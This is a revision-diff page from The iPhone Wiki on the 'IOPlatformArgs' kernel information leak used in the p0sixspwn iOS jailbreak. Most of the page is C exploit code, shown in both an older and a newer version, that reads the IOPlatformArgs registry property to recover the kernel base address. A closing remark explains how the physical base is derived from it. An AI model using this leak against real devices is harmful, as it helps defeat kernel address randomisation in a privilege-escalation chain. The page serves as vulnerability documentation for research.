The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "IOPlatfromArgs leak"
Line 3: | Line 3: | ||
This is the code |
This is the code |
||
<code> |
<code> |
||
+ | static uint32_t |
||
− | unsigned long getKernelBase() { |
||
+ | get_kernel_base_boot_args(void) |
||
− | unsigned long buf; |
||
+ | { |
||
− | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("device-tree")); |
||
+ | CFStringRef parameter = CFSTR("IOPlatformArgs"); |
||
− | if(service) |
||
+ | CFDataRef data; |
||
+ | |||
+ | io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice")); |
||
+ | if (platformExpert) |
||
{ |
{ |
||
− | + | data = IORegistryEntryCreateCFProperty(platformExpert, |
|
+ | parameter, |
||
− | if(macData != NULL) |
||
+ | kCFAllocatorDefault, 0); |
||
− | { |
||
− | /* |
||
− | void CFDataGetBytes ( |
||
− | CFDataRef theData, |
||
− | CFRange range, |
||
− | UInt8 *buffer |
||
− | ); |
||
− | */ |
||
− | CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), &buf); // TODO: buf != UInt8 |
||
− | // XXX: TODO: change decrement based on device. |
||
− | // N90 ONLY FOR NOW! |
||
− | buf -= 0xE1C000; // Diff. |
||
− | CFRelease(macData); |
||
− | IOObjectRelease(service); |
||
− | return buf; |
||
− | } |
||
− | IOObjectRelease(service); |
||
} |
} |
||
+ | |||
− | return 0; |
||
+ | IOObjectRelease(platformExpert); |
||
− | } // iH8sn0w |
||
+ | CFIndex bufferLength = CFDataGetLength(data); |
||
+ | UInt8 *buffer = malloc(bufferLength); |
||
+ | CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer); |
||
+ | |||
+ | typedef struct { |
||
+ | uint32_t deviceTreeP; |
||
+ | uint32_t bootArgs; |
||
+ | uint32_t zero; |
||
+ | uint32_t zero_1; |
||
+ | } platformArgs; |
||
+ | platformArgs IOPlatformArgs; |
||
+ | bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs)); |
||
+ | |||
+ | return IOPlatformArgs.bootArgs; |
||
+ | } |
||
</code> |
</code> |
||
Revision as of 13:38, 4 July 2014
Vulnerability used in p0sixspwn
This vulnerability leaks the kernel base address.
This is the code
static uint32_t
get_kernel_base_boot_args(void)
{
CFStringRef parameter = CFSTR("IOPlatformArgs");
CFDataRef data;
io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
if (platformExpert)
{
data = IORegistryEntryCreateCFProperty(platformExpert,
parameter,
kCFAllocatorDefault, 0);
}
IOObjectRelease(platformExpert);
CFIndex bufferLength = CFDataGetLength(data);
UInt8 *buffer = malloc(bufferLength);
CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);
typedef struct {
uint32_t deviceTreeP;
uint32_t bootArgs;
uint32_t zero;
uint32_t zero_1;
} platformArgs;
platformArgs IOPlatformArgs;
bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs));
return IOPlatformArgs.bootArgs;
}
Once the attacker knows the virtual base, he can use the virt_to_phys
macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug